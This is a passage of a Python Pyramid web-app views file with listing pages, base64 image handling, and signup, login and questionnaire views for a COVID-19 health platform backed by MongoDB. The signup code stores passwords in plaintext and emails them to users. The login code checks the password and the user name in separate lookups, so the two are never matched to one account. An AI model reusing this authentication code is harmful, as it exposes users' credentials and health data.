raw_image in document22_images_list_rawFile:\n document22_binaryImage = raw_image.read()\n document22_base64Image = codecs.encode(document22_binaryImage, 'base64')\n document22_UTF8Image = document22_base64Image.decode('utf-8')\n document22_images_UTF8_list.append(document22_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document22_imageA = document22_images_UTF8_list[0]\n\n try:\n fashion_collection_document22_imageB = document22_images_UTF8_list[1]\n except:\n fashion_collection_document22_imageB = document22_images_UTF8_list[0]\n\n try:\n fashion_collection_document22_imageC = document22_images_UTF8_list[2]\n except:\n fashion_collection_document22_imageC = document22_images_UTF8_list[0]\n\n try:\n fashion_collection_document22_imageD = document22_images_UTF8_list[3]\n except:\n fashion_collection_document22_imageD = document22_images_UTF8_list[0] \n \n try:\n fashion_collection_document22_imageE = document22_images_UTF8_list[4]\n except:\n fashion_collection_document22_imageE = document22_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document23\n #######################\n\n # For the text strings,\n fashion_collection_document23_productID = document23[\"Product ID\"]\n fashion_collection_document23_username = document23[\"Username\"]\n fashion_collection_document23_state = document23[\"State\"]\n fashion_collection_document23_city = document23[\"City\"]\n fashion_collection_document23_description = document23[\"Description\"]\n fashion_collection_document23_mobile = document23[\"Mobile\"]\n fashion_collection_document23_email = document23[\"Email\"]\n fashion_collection_document23_category = document23[\"Category\"]\n fashion_collection_document23_condition = document23[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document23_images_UTF8_list = []\n\n for raw_image in document23_images_list_rawFile:\n document23_binaryImage = raw_image.read()\n document23_base64Image = codecs.encode(document23_binaryImage, 'base64')\n document23_UTF8Image = document23_base64Image.decode('utf-8')\n document23_images_UTF8_list.append(document23_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document23_imageA = document23_images_UTF8_list[0]\n\n try:\n fashion_collection_document23_imageB = document23_images_UTF8_list[1]\n except:\n fashion_collection_document23_imageB = document23_images_UTF8_list[0]\n\n try:\n fashion_collection_document23_imageC = document23_images_UTF8_list[2]\n except:\n fashion_collection_document23_imageC = document23_images_UTF8_list[0]\n\n try:\n fashion_collection_document23_imageD = document23_images_UTF8_list[3]\n except:\n fashion_collection_document23_imageD = document23_images_UTF8_list[0] \n \n try:\n fashion_collection_document23_imageE = document23_images_UTF8_list[4]\n except:\n fashion_collection_document23_imageE = document23_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document24\n #######################\n\n # For the text strings,\n fashion_collection_document24_productID = document24[\"Product ID\"]\n fashion_collection_document24_username = document24[\"Username\"]\n fashion_collection_document24_state = document24[\"State\"]\n fashion_collection_document24_city = document24[\"City\"]\n fashion_collection_document24_description = document24[\"Description\"]\n fashion_collection_document24_mobile = document24[\"Mobile\"]\n fashion_collection_document24_email = document24[\"Email\"]\n fashion_collection_document24_category = document24[\"Category\"]\n fashion_collection_document24_condition = document24[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document24_images_UTF8_list = []\n\n for raw_image in document24_images_list_rawFile:\n document24_binaryImage = raw_image.read()\n document24_base64Image = codecs.encode(document24_binaryImage, 'base64')\n document24_UTF8Image = document24_base64Image.decode('utf-8')\n document24_images_UTF8_list.append(document24_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document24_imageA = document24_images_UTF8_list[0]\n\n try:\n fashion_collection_document24_imageB = document24_images_UTF8_list[1]\n except:\n fashion_collection_document24_imageB = document24_images_UTF8_list[0]\n\n try:\n fashion_collection_document24_imageC = document24_images_UTF8_list[2]\n except:\n fashion_collection_document24_imageC = document24_images_UTF8_list[0]\n\n try:\n fashion_collection_document24_imageD = document24_images_UTF8_list[3]\n except:\n fashion_collection_document24_imageD = document24_images_UTF8_list[0] \n \n try:\n fashion_collection_document24_imageE = document24_images_UTF8_list[4]\n except:\n fashion_collection_document24_imageE = document24_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document25\n #######################\n\n # For the text strings,\n fashion_collection_document25_productID = document25[\"Product ID\"]\n fashion_collection_document25_username = document25[\"Username\"]\n fashion_collection_document25_state = document25[\"State\"]\n fashion_collection_document25_city = document25[\"City\"]\n fashion_collection_document25_description = document25[\"Description\"]\n fashion_collection_document25_mobile = document25[\"Mobile\"]\n fashion_collection_document25_email = document25[\"Email\"]\n fashion_collection_document25_category = document25[\"Category\"]\n fashion_collection_document25_condition = document25[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document25_images_UTF8_list = []\n\n for raw_image in document25_images_list_rawFile:\n document25_binaryImage = raw_image.read()\n document25_base64Image = codecs.encode(document25_binaryImage, 'base64')\n document25_UTF8Image = document25_base64Image.decode('utf-8')\n document25_images_UTF8_list.append(document25_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document25_imageA = document25_images_UTF8_list[0]\n\n try:\n fashion_collection_document25_imageB = document25_images_UTF8_list[1]\n except:\n fashion_collection_document25_imageB = document25_images_UTF8_list[0]\n\n try:\n fashion_collection_document25_imageC = document25_images_UTF8_list[2]\n except:\n fashion_collection_document25_imageC = document25_images_UTF8_list[0]\n\n try:\n fashion_collection_document25_imageD = document25_images_UTF8_list[3]\n except:\n fashion_collection_document25_imageD = document25_images_UTF8_list[0] \n \n try:\n fashion_collection_document25_imageE = document25_images_UTF8_list[4]\n except:\n fashion_collection_document25_imageE = document25_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client5.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID21' : fashion_collection_document21_productID,\n 'username21' : fashion_collection_document21_username,\n 'state21' : fashion_collection_document21_state,\n 'city21' : fashion_collection_document21_city,\n 'description21' : fashion_collection_document21_description,\n 'mobile21' : fashion_collection_document21_mobile,\n 'email21' : fashion_collection_document21_email,\n 'category21' : fashion_collection_document21_category,\n 'condition21': fashion_collection_document21_condition,\n 'image21A' : fashion_collection_document21_imageA,\n 'image21B' : fashion_collection_document21_imageB,\n 'image21C' : fashion_collection_document21_imageC,\n 'image21D': fashion_collection_document21_imageD,\n 'image21E': fashion_collection_document21_imageE,\n\n 'productID22' : fashion_collection_document22_productID,\n 'username22' : fashion_collection_document22_username,\n 'state22' : fashion_collection_document22_state,\n 'city22' : fashion_collection_document22_city,\n 'description22' : fashion_collection_document22_description,\n 'mobile22' : fashion_collection_document22_mobile,\n 'email22' : fashion_collection_document22_email,\n 'category22' : fashion_collection_document22_category,\n 'condition22': fashion_collection_document22_condition,\n 'image22A' : fashion_collection_document22_imageA,\n 'image22B' : fashion_collection_document22_imageB,\n 'image22C' : fashion_collection_document22_imageC,\n 'image22D': fashion_collection_document22_imageD,\n 'image22E': fashion_collection_document22_imageE,\n\n 'productID23' : fashion_collection_document23_productID,\n 'username23' : fashion_collection_document23_username,\n 'state23' : fashion_collection_document23_state,\n 'city23' : fashion_collection_document23_city,\n 'description23' : fashion_collection_document23_description,\n 'mobile23' : fashion_collection_document23_mobile,\n 'email23' : fashion_collection_document23_email,\n 'category23' : fashion_collection_document23_category,\n 'condition23': fashion_collection_document23_condition,\n 'image23A' : fashion_collection_document23_imageA,\n 'image23B' : fashion_collection_document23_imageB,\n 'image23C' : fashion_collection_document23_imageC,\n 'image23D': fashion_collection_document23_imageD,\n 'image23E': fashion_collection_document23_imageE,\n\n 'productID24' : fashion_collection_document24_productID,\n 'username24' : fashion_collection_document24_username,\n 'state24' : fashion_collection_document24_state,\n 'city24' : fashion_collection_document24_city,\n 'description24' : fashion_collection_document24_description,\n 'mobile24' : fashion_collection_document24_mobile,\n 'email24' : fashion_collection_document24_email,\n 'category24' : fashion_collection_document24_category,\n 'condition24': fashion_collection_document24_condition,\n 'image24A' : fashion_collection_document24_imageA,\n 'image24B' : fashion_collection_document24_imageB,\n 'image24C' : fashion_collection_document24_imageC,\n 'image24D': fashion_collection_document24_imageD,\n 'image24E': fashion_collection_document24_imageE,\n\n 'productID25' : fashion_collection_document25_productID,\n 'username25' : fashion_collection_document25_username,\n 'state25' : fashion_collection_document25_state,\n 'city25' : fashion_collection_document25_city,\n 'description25' : fashion_collection_document25_description,\n 'mobile25' : fashion_collection_document25_mobile,\n 'email25' : fashion_collection_document25_email,\n 'category25' : fashion_collection_document25_category,\n 'condition25': fashion_collection_document25_condition,\n 'image25A' : fashion_collection_document25_imageA,\n 'image25B' : fashion_collection_document25_imageB,\n 'image25C' : fashion_collection_document25_imageC,\n 'image25D': fashion_collection_document25_imageD,\n 'image25E': fashion_collection_document25_imageE,\n }\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# SECUREYST VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Signup\n@view_defaults(route_name='secureystSignup')\nclass SecureystCreateAccount(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/secureyst_templates/secureystSignup.pt')\n def secureYst_signup(self):\n return {}\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(request_method='POST')\n def secureYst_signupResponse(self):\n from pyramid.httpexceptions import HTTPFound\n import pyramid.httpexceptions as exc\n\n # Collect variables from form fields\n # Get text items from form page\n secureyst_signup_bluetoothName = self.request.params['secureyst_signup_bluetoothName']\n secureyst_signup_password = self.request.params['secureyst_signup_password']\n secureyst_signup_city = self.request.params['secureyst_signup_city']\n secureyst_signup_mobile = self.request.params['secureyst_signup_mobile']\n secureyst_signup_email = self.request.params['secureyst_signup_email']\n\n\n # Create our RES API structure and push data to the RES\n secureyst_signup_resAPI_json = {\n \"Bluetooth Name\": \"\",\n \"Password\": \"\",\n \"City\": \"\",\n \"Mobile\": \"\",\n \"date\": \"\",\n }\n\n secureyst_signup_resAPI_json[\"Bluetooth Name\"] = secureyst_signup_bluetoothName\n secureyst_signup_resAPI_json[\"Password\"] = secureyst_signup_password\n secureyst_signup_resAPI_json[\"City\"] = secureyst_signup_city\n secureyst_signup_resAPI_json[\"Mobile\"] = secureyst_signup_mobile\n secureyst_signup_resAPI_json[\"Email\"] = secureyst_signup_email\n\n\n\n # Initialise database connection and perform CRUD operation on text\n import pymongo\n from pymongo import MongoClient\n\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n\n # Open database connection and get or create a database called secureyst_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.secureyst_database\n\n # Create or open a text based records collection called secureyst_text_collection\n secureyst_text_collection= db.secureyst_text_collection\n\n\n\n # # ############################################################################################\n # # Send private UUID to user's Email using login details and gmail server using inbuilt python email package\n import smtplib, os, sys\n from smtplib import SMTP\n from email.message import EmailMessage\n from dotenv import load_dotenv\n load_dotenv()\n\n try:\n email_content = (\"\"\"\\\n Hello %s, thanks for signing up on our health platform, Please be advised, a private user UUID has been created for youand it should be kept confidential.\\n\n Here is your Seceret hey: %s\\n\n For support and enquiries please contact us via our contact details found on our contact page in our website.\\n\n Thanks for using this service, we hope to serve you better!!.\n \"\"\"\n % (secureyst_signup_bluetoothName, secureyst_signup_password)\n \n )\n\n msg = EmailMessage()\n msg.set_content(email_content)\n\n msg['Subject'] = 'Your secure password from Secureyst (Powered by Spacenetng.com)'\n msg['From'] = 'spacenetngbase@gmail.com'\n msg['To'] = secureyst_signup_email\n\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n\n email = os.environ['MY_EMAIL_ADDRESS']\n passWord = os.environ['MY_EMAIL_PASSWORD']\n\n server_ssl.login(email, passWord)\n server_ssl.send_message(msg) \n server_ssl.quit() # Terminate the SMTP session and free up resources \n \n # Or And,\n # print('Message sent successfully!!')\n\n except:\n pass\n # Or\n # print X\n\n\n try:\n ######################################################\n res0 = secureyst_text_collection.find_one({'Bluetooth Name': secureyst_signup_bluetoothName})\n res1 = res0['Bluetooth Name']\n if res1 == secureyst_signup_bluetoothName:\n # Redirect user back to signup page \n body = (\n \"\"\n \"\"\n \"\"\n \"

A user with same Bluetooth name is already registered on our COVID-19 Health platform \"\n \"please try again and use another unique bluetooth identifier.\"\n \"
\"\n \"You will be redirected shortly to the signup page to try again.\"\n \"\"\n \"\"\n )\n return Response(body)\n else:\n raise exc.HTTPBadRequest()\n \n\n except:\n # Insert API into database and close our connected client's connection\n secureyst_text_collection.insert_one(secureyst_signup_resAPI_json)\n\n # Close our database connection and free up resources.\n client.close()\n \n\n # Redirect user back to the questionaire page \n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, you have been successfully registered on our COVID-19 Health platform\"\n \"
\"\n \".

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Login\n@view_defaults(route_name='secureystLogin')\nclass SecureystLogin(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/secureyst_templates/secureystLogin.pt')\n def secureYst_login(self):\n return {}\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(request_method='POST', renderer='json')\n def secureYst_loginResponse(self):\n # Initialise database connection and perform CRUD operation on text collection\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n\n # Open database connection and get or create a database called secureyst_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.secureyst_database\n\n # Create or open a text based records collection called secureyst_text_collection\n secureyst_text_collection = db.secureyst_text_collection\n\n # Obtain request parameters from login \n secureyst_login_bluetoothName = self.request.params['secureyst_login_bluetoothName']\n secureyst_login_password = self.request.params['secureyst_login_password']\n\n\n # Obtain our JSON Response\n try:\n # Delete operation on the main text collection initialisation\n userPassword = secureyst_text_collection.find_one({'Password': secureyst_login_password})\n bluetoothName = secureyst_text_collection.find_one({'Bluetooth Name': secureyst_login_bluetoothName})\n\n # unneccessary query to doublecheck for BluetoothName existence with password\n bluetoothName1 = userPassword['Bluetooth Name']\n bluetoothName2 = bluetoothName['Bluetooth Name']\n\n # Close our database connection and free up resources.\n client.close()\n\n return {\n \"Bluetooth Name1\": bluetoothName1, \"Bluetooth Name2\": bluetoothName2,\n }\n\n\n except:\n body = (\n \"\"\n \"\"\n \"

No account found for this Bluetooth name and passsword, please try again with correct login details or kindly head back to the \"\n \"signup page\"\n \"
\"\n \"and register.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n\n\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Questionaire\n@view_defaults(route_name='secureystQuestionaire')\nclass SecureystQuestionaire(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/secureyst_templates/secureystQuestionaire.pt')\n def secureYst_questionaire(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(request_method='POST')\n def secureYst_questionaireResponse(self):\n from pyramid.httpexceptions import HTTPFound\n\n # Collect variables from form fields\n # Get text items from form page\n secureyst_questionaire_passcode = self.request.params['secureyst_questionaire_passcode']\n secureyst_questionaire_international_travel_history = self.request.params['international_travel_history']\n secureyst_questionaire_fever= self.request.params['fever']\n secureyst_questionaire_breathing_difficulty = self.request.params['breathing_difficulty']\n secureyst_questionaire_body_pain = self.request.params['body_pain']\n secureyst_questionaire_fatigue_weakness = self.request.params['fatigue_weakness']\n secureyst_questionaire_sore_throat = self.request.params['sore_throat']\n secureyst_questionaire_cough = self.request.params['cough']\n secureyst_questionaire_diarrhoea = self.request.params['diarrhoea']\n secureyst_questionaire_other_medical_conditions = self.request.params['other_medical_conditions']\n secureyst_questionaire_48hrs_status = self.request.params['48hrs_status']\n secureyst_questionaire_age = self.request.params['age']\n\n\n markerList = [\n secureyst_questionaire_international_travel_history, secureyst_questionaire_fever,\n secureyst_questionaire_breathing_difficulty, secureyst_questionaire_body_pain,\n secureyst_questionaire_fatigue_weakness, secureyst_questionaire_sore_throat,\n secureyst_questionaire_cough, secureyst_questionaire_diarrhoea,\n secureyst_questionaire_other_medical_conditions, secureyst_questionaire_48hrs_status,\n secureyst_questionaire_age\n ]\n\n\n greenList = []\n yellowList = []\n redList = []\n\n # Create other backend variables\n # compute our covid19 status from captured data from questionaire\n for color in markerList:\n if color == 'green':\n greenList.append(color)\n elif color == 'yellow':\n yellowList.append(color)\n elif color == 'red':\n redList.append(color)\n\n if len(yellowList) > 3:\n secureyst_questionaire_COVID19_status_update = \"Caution Zone\"\n elif len(redList) > 0:\n secureyst_questionaire_COVID19_status_update = \"Danger Zone\"\n else:\n secureyst_questionaire_COVID19_status_update = \"Safe Zone\"\n\n\n # Get specific date\n import datetime\n secureyst_questionaire_dateTime = datetime.datetime.utcnow()\n\n # Create our RES API structure and push data to the RES\n secureyst_questionaire_resAPI_json = {\n \"COVID-19 Status\": \"\",\n \"date\": \"\",\n }\n\n # we are only updating the covid19 status\n secureyst_questionaire_resAPI_json[\"COVID-19 Status\"] = secureyst_questionaire_COVID19_status_update\n secureyst_questionaire_resAPI_json[\"date\"] = secureyst_questionaire_dateTime\n\n # Initialise database connection and perform CRUD operation on text collection\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n\n # Open database connection and get or create a database called secureyst_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.secureyst_database\n\n # Create or open a text based records collection called secureyst_text_collection\n secureyst_text_collection = db.secureyst_text_collection\n\n # Insert API into database and close our connected client's connection\n try:\n # Delete operation on the main text collection initialisation\n res0 = secureyst_text_collection.find_one({'Private UUID': UUID(secureyst_questionaire_passcode)})\n res1 = res0['_id']\n\n # Main text collection update\n secureyst_text_collection.update_one({'_id': ObjectId(res1)}, {\"$set\": secureyst_questionaire_resAPI_json})\n\n # Close our database connection and free up resources.\n client.close()\n\n body = (\n \"\"\n \"\"\n \"

Thanks for using our service, your questionaire status has been updated successfully!! \"\n \"
\"\n \"You can close this page and head back to our mobile app.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n except:\n body = (\n \"\"\n \"\"\n \"

No account has been created yet for you, please kindly head back to the \"\n \"signup page\"\n \"
\"\n \"and register.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n\n\n\n\n\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# AHSAN LISTINGS VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Index\n@view_defaults(route_name='ahsanListings')\nclass AhsanListingsIndex(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/ahsan_templates/index.pt')\n def ahsan_home(self):\n #################################################\n # Then connect to our database and extract document\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n\n # Open database connection and get or create a database called ahsan_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.ahsan_database\n\n # Create or open a text based records collection called category_text_collection\n category_text_collection = db.category_text_collection\n\n # Create or open a text based records collection called primarySubCategory_text_collection\n primarySubCategory_text_collection = db.primarySubCategory_text_collection\n\n # Create or open a text based records collection called secondarySubCategory_text_collection\n secondarySubCategory_text_collection = db.secondarySubCategory_text_collection\n\n\n # Extracting\n category_JSON = category_text_collection.find().sort([(\"_id\", pymongo.ASCENDING)])\n primarySubCategory_JSON = primarySubCategory_text_collection.find().sort([(\"_id\", pymongo.ASCENDING)])\n secondarySubCategory_JSON = secondarySubCategory_text_collection.find().sort([(\"_id\", pymongo.ASCENDING)])\n\n # *********************************************************************************\n # Category Variables\n # Collecting variables for air conditionals\n category_AC_name = category_JSON[0][\"CategoryNames\"][0]\n category_AC_image = category_JSON[0][\"CategoryImages\"][0]\n category_AC_link = category_JSON[0][\"CategoryLinks\"][0]\n\n # Collecting variables for mobile phones\n category_mobile_name = category_JSON[0][\"CategoryNames\"][1]\n category_mobile_image = category_JSON[0][\"CategoryImages\"][1]\n category_mobile_link = category_JSON[0][\"CategoryLinks\"][1]\n\n # Collecting variables for televisions\n category_tv_name = category_JSON[0][\"CategoryNames\"][2]\n category_tv_image = category_JSON[0][\"CategoryImages\"][2]\n category_tv_link = category_JSON[0][\"CategoryLinks\"][2]\n\n # Collecting variables for refrigerators\n category_fridge_name = category_JSON[0][\"CategoryNames\"][3]\n category_fridge_image = category_JSON[0][\"CategoryImages\"][3]\n category_fridge_link = category_JSON[0][\"CategoryLinks\"][3]\n\n\n # *********************************************************************************\n # primarySubCategory Variables\n # variables1\n primarySubCategory_name1 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][0]\n primarySubCategory_image1 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][0]\n primarySubCategory_link1 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][0]\n\n # variables2\n primarySubCategory_name2 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][1]\n primarySubCategory_image2 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][1]\n primarySubCategory_link2 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][1]\n\n # variables3\n primarySubCategory_name3 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][2]\n primarySubCategory_image3 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][2]\n primarySubCategory_link3 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][2]\n\n # variables4\n primarySubCategory_name4 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][3]\n primarySubCategory_image4 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][3]\n primarySubCategory_link4 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][3]\n\n # variables5\n primarySubCategory_name5 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][4]\n primarySubCategory_image5 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][4]\n primarySubCategory_link5 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][4]\n\n # variables6\n primarySubCategory_name6 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][5]\n primarySubCategory_image6 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][5]\n primarySubCategory_link6 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][5]\n\n # variables7\n primarySubCategory_name7 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][6]\n primarySubCategory_image7 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][6]\n primarySubCategory_link7 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][6]\n\n # variables8\n primarySubCategory_name8 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][7]\n primarySubCategory_image8 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][7]\n primarySubCategory_link8 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][7]\n\n # variables9\n primarySubCategory_name9 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][8]\n primarySubCategory_image9 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][8]\n primarySubCategory_link9 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][8]\n\n # variables10\n primarySubCategory_name10 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][9]\n primarySubCategory_image10 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][9]\n primarySubCategory_link10 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][9]\n\n # variables11\n primarySubCategory_name11 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][10]\n primarySubCategory_image11 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][10]\n primarySubCategory_link11 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][10]\n\n # variables12\n primarySubCategory_name12 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][11]\n primarySubCategory_image12 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][11]\n primarySubCategory_link12 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][11]\n\n # variables13\n primarySubCategory_name13 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][12]\n primarySubCategory_image13 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][12]\n primarySubCategory_link13 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][12] \n\n # variables14\n primarySubCategory_name14 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][13]\n primarySubCategory_image14 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][13]\n primarySubCategory_link14 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][13]\n\n # variables15\n primarySubCategory_name15 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][14]\n primarySubCategory_image15 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][14]\n primarySubCategory_link15 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][14]\n\n # variables16\n primarySubCategory_name16 = primarySubCategory_JSON[0][\"PrimarySubCategoryNames\"][15]\n primarySubCategory_image16 = primarySubCategory_JSON[0][\"PrimarySubCategoryImages\"][15]\n primarySubCategory_link16 = primarySubCategory_JSON[0][\"PrimarySubCategoryLinks\"][15]\n\n\n\n\n # *********************************************************************************\n # secondarySubCategory Variables\n # variables1\n secondarySubCategory_name1 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][0]\n secondarySubCategory_image1 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][0]\n secondarySubCategory_link1 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][0]\n secondarySubCategory_price1 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][0]\n\n # variables2\n secondarySubCategory_name2 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][1]\n secondarySubCategory_image2 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][1]\n secondarySubCategory_link2 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][1]\n secondarySubCategory_price2 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][1]\n\n # variables3\n secondarySubCategory_name3 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][2]\n secondarySubCategory_image3 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][2]\n secondarySubCategory_link3 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][2]\n secondarySubCategory_price3 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][2]\n\n # variables4\n secondarySubCategory_name4 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][3]\n secondarySubCategory_image4 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][3]\n secondarySubCategory_link4 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][3]\n secondarySubCategory_price4 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][3]\n\n # variables5\n secondarySubCategory_name5 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][4]\n secondarySubCategory_image5 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][4]\n secondarySubCategory_link5 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][4]\n secondarySubCategory_price5 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][4]\n\n # variables6\n secondarySubCategory_name6 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][5]\n secondarySubCategory_image6 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][5]\n secondarySubCategory_link6 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][5]\n secondarySubCategory_price6 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][5]\n\n # variables7\n secondarySubCategory_name7 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][6]\n secondarySubCategory_image7 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][6]\n secondarySubCategory_link7 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][6]\n 